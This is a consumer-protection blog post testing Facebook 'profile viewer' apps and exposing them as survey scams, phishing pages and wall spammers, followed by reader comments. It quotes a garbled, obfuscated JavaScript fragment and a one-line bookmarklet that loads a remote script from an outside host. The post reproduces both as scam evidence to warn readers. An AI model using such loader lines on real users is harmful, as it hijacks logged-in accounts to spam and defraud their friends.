Facebook Trackers - SCAM or REAL ? We put them to the test!

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Facebook Trackers - SCAM or REAL ? We put them to the test!

Below are Facebook apps sent to us that claim to be Trackers or allow you to see who has viewed your Facebook page.  We have tested each one and posted the results so you dont have to:

ViewOnFB.com tracker (May 2013): 

When testing ViewonFB.com we are asked to enter our Facebook ID and password even though we are already signed-in to Facebook. Close inspection of the URL and page reveals that it is actually a fake Facebook login page in the domain of viewonFB.com..

ViewonFB.com has all the hallmarks of a phishing scam because of the counterfeit Facebook login page asking for your Facebook login and password.

If you entered your Facebook password in an attempt to use ViewonFB.com we highly recommend that you change your Facebook password immediatly.

Spotifypremiums.com Facebookviewer 2013

Although as of January 2013, Spotifypremiums.com is no longer online, we were able to watch a Youtube video for it's FacebookViewer 2013.   Facebook Viewer 2013 makes all the claims as all of the other scams and dangerous programs, yet we can find nothing to back up those claims.  Facebookviewer2013 is a program that must be installed on your PC, and considering that it is from an 'untrusted' source, we highly recommend not installing it. 

"Viewers" - "wow! its amazing now i can check my profile visitors click here --->>> http://bit.ly/xx <<<--- to check your profile visitors

On installation, "Viewers" asks for your permission to access your Basic Information, your birthday, your phones and the locations of you and your friends.  The Viewers App also asks to access your news feed and make posts on your behalf.

Upon completion of installation, the Viewers App redirects you to a page at http://weather3327we.uni.me (located in Canada), and Viewers then redirects you to http://facebook-yearly-recentss-visitor.com which displays a fake "Profile Viewer" page (you can see this fake, static HTML page here: http://facebook-yearly-recentss-visitor.com/profilevisitor/wf.html - it shows the same for everyone except it pulls some personal Facebook info from your web browser to make it look more realistic) but requries you to fill out surveys to verify your account.  Filling out these surveys makes money for the creaters of the app.


https://apps.facebook.com/bibocoh (Ex Pat)

"Want to see who views your Facebook profile? This is amazing!  Now you can see who is viewing your profile and find out how many profile views you got.  Just use our application and press button below and then Allow to analyze your Facebook profile!"
You must allow this app to post status on your wall/Timeline and access your data any time, even when you aren't using the app.
After giving the app permission to spam your Facebook timeline and all of your friends, it then displays what it reports to be a list of who is watching your profile.  On our 5-minute old test (fake) Facebook account with zero friends, it reported that 13 people were currently viewing our profile.  It reported that many of these viewers had looked at our test Facebook profile 20 or 30 times over the last 30 days, which is amazing considering the test account was only created 5 minutes ago.  In order to see all the information about who is looking at your Facebook page, you are required to complete a survey which makes money for the scammer that created the app.
In our opinion, considering the obviously fake data provided, the fact that Facebook does not allow profile or page tracking, and the fact that in order to see the fake, useless and inaccurate page-viewing list you must first fill out surveys to make money for the app author, this Facebook tracker is a SCAM.

Funysnoop (funysnoop.in) : You get a message that says "I just noticed who keep watching my profile and photos. It was really shocking to know. Check who looks at your profile".  When you attempt to install the tracker app it ends up sending you to a fake-profile viewer page that appears that it is about to load, BUT requires you to fill out surveys first as a "Security Check" - of course when you fill out the survey you make money for the scammer, and you never get any Facebook tracker

Verdict:  In our opinion baseed on our research, the Funysnoop tracker is nothing more than a scam designed to force you to fill out surveys to make money for the creators


SCAM, just like all the others


http://www.1119999977u7.info redirects you to a spam/scam website - Some web-browsers will not even allow you to go to this site because of the potential danger - http://www.1119999977u7.info is a SCAM


fbviewcounter.info tricks you into pasting the following code into your web-browser while you are logged into Facebook:


javascript:var _0xdc9b=["\x28\x61\x3D\x28\x62\x3D\x37\x29\x2E\x36\x28\
\x5C\x62","\x67"];eval(function (_0xf509x1,_0xf509x2,_0xf509x3,
_0xf509x4,_0xf509x5,_x){_0xf509x5=function (_0xf509x3){return _0xf5093.toString(6);} ;
|_0xf50.toString(_0xf509x2);} ;_=[function (_0xf509x5)
{return _0xf509x6[_0xf509x5];} ]
;_0xf509x5=function ()
{return _0xdc9b[6];} ;_0xf509x3=1;} ;while(_0xf509x3--)
( new ReExp(_0x9b[7]+_0xf509x5(_0xf509x3)
,_0xf509x4[_0xf509x3]);} ;} 
;return _0xf509x1;} (_0xdc9b[0],13,13,

The code is 'encoded' and when you enter it into your web-browser it will run as Javascript.  We could not get this to operate properly for us, but based on what we could find, it apperas to be a 'clickjacking' or "autolike" script that also displays a RANDOM LIST OF YOUR FRIENDS and tells you that they have been visiting your profile.



Face.book Recent Visitors Tab aka Facebuk Recent Visitors tab

Facebook app link: http://www.facebook.com/iccwc11?sk=app_4949752878

The Face.book Recent Visitors tab app does not make any claims on Facebook that it will allow you to view who has looked at your profile.  It does infer this by it's name, but the only claim we have found says "be unique".  We also noted that the word Facebook is misspelled ("Face.book" and "Facebuk").  This makes us wonder if this is an attempt to stay out of the Facebook Police's radar.

To install Facebuk / Face.book Recent Visitors Tab you must first "like" it.  You are then required to copy/paste the following Javascript into your web-browser (warning warning warning!!)"

javascript: (a = (d = document).createElement("script")).src = "http://fbappsxx.mx/b1.js"; void(d.body.appendChild(a))

When run, this script pulls another script from http://fbappsxx.x10.mx, a website hosted in Mexico.  It appears that this javascript runs through all of your friends and posts the following messages (from YOU) on their walls:

"I Just Got to Know Who All VIew My Profile. Try It Yourself Here on  http://www.facebook.com/iccwc2k11?sk=app_4949752878 ";
"I Just Got to Know Who All VIew My Profile. Try It Yourself Here on  http://www.facebook.com/iccwc11?sk=app_4949752878 ";

(note the poor grammar) The script also has code that is careful to avoid Facebook's "auto bot" detection so that it does not get shut down.

After you install the javascript above to spam all of your friends walls, you are then instructed to "share" the app.  When you click the "share" button a post is put on your wall with a link to this website:  http://testernew.blogspot.com 

http://testernew.blogspot.com DOES claim to let you see who is viewing your profile:

So Many Stalkers Around who constantly Visit your Profile and keep a Spy On. So We Have Brought up this Application to Easily Know Who Visits Your Profile.To Know About It. You Need to Follow the Steps Given Below :)

Again, notice the poor grammar.  Are you going to trust your profile & privacy to this??

The final step to get your Recent Visitors Tab is to complete surveys (to make money for the app creator) or view/click advertisements (to make money for the app creator).

Verdict:  In our opinion, the Facebook Recent Visitors tab/ app is nothing more than a scam designed to force you to fill out surveys to make money for the creators and spam all of your friends to do the same.  Face.book Recent Visitors Tab has the potential to be more dangerous as it asks you to run javascript that is hosted on an unknown server.  Although today this script only spams all of your friend's Facebook walls, it could easily be changed at any time.  Remember - when you execute this javascript from your browser, it is running on your PC.  This is inherently very dangerous.

Biggest Admirer aka Sneaky Admirer aka Top Admirer (and probably more, similar names)

Facebook app link: http://apps.facebook.com/lptrcbnr/, http://www.clicksredirect.com/admirer (and many others)

When you click on the Facebook App link you are redirected to http://www.redirectcity.com/admirer and may receive a warning from Facebook that the site may not be safe.  You then land on a page with the following claim:

New technology analyzes your list of friends and determines the most probably secret admirer.  Press Like and Allow to see who yours is...

If you read the claim carefully, it does not say it will track who views your Facebook profile.  Instead it makes a vague claim about some "new technology" to find the "most probable" secret admirer.  Someone not paying attention could easily assume that this may mean more than it actually says.  Clicking "Find your secret admirer now" does two things:

1) it opens a new window with a survey.  This survey is basically spam.  When you fill it out, the maker of "Sneaky admirer" makes money

2) It takes you to the Facebook Apps permission page asking you to allow this app access to all of your information (name, picture, gender, friends), asking you to allow this app to make POSTS TO YOUR WALL, to access your family and relationships information and all of your friends information.

If you are crazy enough to allow the App permission to all of this information on your account, you are then presented with a pop-up like window that states you must take one of several "verification tests" to access the "good" area of their website.  These tests are more spam surveys that make money for the good folks that make the "admirer" Facebook app.  We could never get past this spam-page.  The app also posts itself on your wall that says "I found out that my secret admirer is out there!  Learn who yours is now-"  with a link to the app to trick your friends into trying it.

Verdict:  In our opinion, the Secret Admirer Facebook app is nothing more than a scam designed to force you to fill out surveys to make money for the creators.

See who viewed your Profile! (no real name)

Facebook app link: http://www.facebook.com/l.php?u=http://fview.co%2F&h=39946

Clicking the link takes you to a Facebook warning page indicating that you are leaving Facebook, and the website may not be safe.  You are then redirected to: http://fview.co/  within nothing more than a banner that reads "See who viewed your profile!" and urging you to "Like" the page by clicking the "Like" button.

Upon 'liking' the App, you are then asked to "share" it with all your friends.

When you click "share", a window pops up giving you the opportunity to post a message to your wall about how great this app is, that so far, has not done a thing.  You have the option to continue and "Share" it or "Skip".. If you skip the step you are returned to the share page with the message that you MUST share it on your wall to continue.

After spamming the app on your wall you are then taken to a page that forces you to fill out surveys to continue.  By filling out the surveys, not only are you making money for the app developer, you are also agreeing to be contacted by the company, to receive promotional emails AND sms txt messages.

Verdict:  In our opinion, the "See who viewed your Profile!" Facebook app is nothing more than a scam designed to force you to fill out surveys to make money for the creators.



See Who Viewed Your Profile

Facebook app link: http://www.facebook.com/apps/application.php?id=154255424630612, http://apps.facebook.com/damn_viewers

Verdict: "Damn_Viewers" like all the others above is just a scam to designed to force you to fill out surveys to make money for the creators.

IP Tracker System for Facebook by webnep.com.np: http://apps.facebook.com/iptrack/app.php?uid=1000065565118

IP Tracker System for Facebook automatically (without warning or your permission) installs a Java program on your computer and also appears to add some bits onto your Facebook profile (we have not yet fully analyzed this code).  Once installed, it breaks secure (HTTPS) connections to your Facebook profile page - anyone with the secure HTTPS option enabled that views your Facebook page will get a scary warning that your page is not viewable via HTTPS, potentially scaring away legitimate visitors.  It also appears that it tries to automatically install itself onto the computer of anyone viewing your Facebook page.   Webnep.com.np who promotes this "tracker" is based in Nepal and we cannot vouch for it's legitimacy.  Based on the way in which "IP Tracker system on Facebook" by webnep.com.np functions, we cannot recommend using it or even going near it.  If you have viewied it's Facebook App page, chances are your computer has already been "infected" with it's unknown code without your permission.


Have you seen another Facebook app or website that claims to let you find out who has been looking at your page but are afraid to test it on your profile?  Or have you found an app that really does let you see who has been looking at your Facebook profile?  Post a comment here and we will test it, and publish the results!


Re: Facebook Trackers - SCAM or REAL ? We put them to the test!

Glad to see this done! Now we just need a way to tell MILLIONS of Facebook users to stop being stupid

Anonymous Visitor
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
good to know. thanks!
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
lol that is funny... k maybe this is silly but i was looking at FaceBook from my phone and now LOL it no wonder it wouldnt let me view it haaaa :D ty for the FaceBook wisdom
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!

Thanks for posting the results, because I surely never would have tested them (though curious). And it was good for a laugh by being such a pathetic attempt to scam.

Anonymous Visitor
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
Have a look at the javascript. It just extracts your friends list and chooses some random friends (see line43 of the .js). Nice way to fool FaceBook'ers
Anonymous Visitor
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
http://Facebook.com/Stalkers This one just "pooped up" on my wall...
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
Doest it atleast give u a general idea who's been viewing my profile?
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!

NO.. All these do is spam your wall and trick you into filling out surveys to make money for the creator..

Anonymous Visitor
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
Facebook should change it's Privacy Policy, if someone stalks you it's against the law. And of course, you can't block a person if you ain't sure that he/she is stalking you. Facebook is becoming the perfect cyber-bullying weapon. Even if you are not friends with someone, they can go on a photo of a friend in common and attack you there. I honestly want to delete myself, but I'm half italian and for me facebook is the only way to stay in contact with Italian friends. There is no privacy, I don't know why they call it privacy policy WHEN YOU CAN'T EVEN KNOW WHO THE **** IS VISITING YOUR PROFILE! PRIVACY POLICY MY ***. PRIVATE FOR STALKERS. NO PRIVACY FOR YOU. IS THIS ******* RIGHT???? EH?? People out there, wake up and look, While Mark Zuckerberg is swimming in his Millions people who just want to talk are being spied on! What is this? Is this Civilized, it's against the bleepin' law
Anonymous Visitor
Re: Facebook Trackers - SCAM or REAL ? We put them to the test!
ermm...u know u can set your privacy settings where ONLY YOUR FRIENDS are allowed to view your profile and u set everything on your page to be private except your display photograph. Have you 'locked-up' your profile yet? But just so you know, facebook is not 100% private. All your data, the images and videos you post up, the comments you're sending out, the profiles you check and leave comments etc etc etc all go through moderators. And also, you do know facebook is allowed to use your personal information or they can "sell" them if they are needed, lets say by the government, the police, the feds and etc etc. They have good privacy options and i'm sure it will only get better but Mark needs to get out of this wrut in the court. But as privacy goes, SOMEONE or SOME PEOPLE in facebook actually do know more about you than any of your friends or parents. :)


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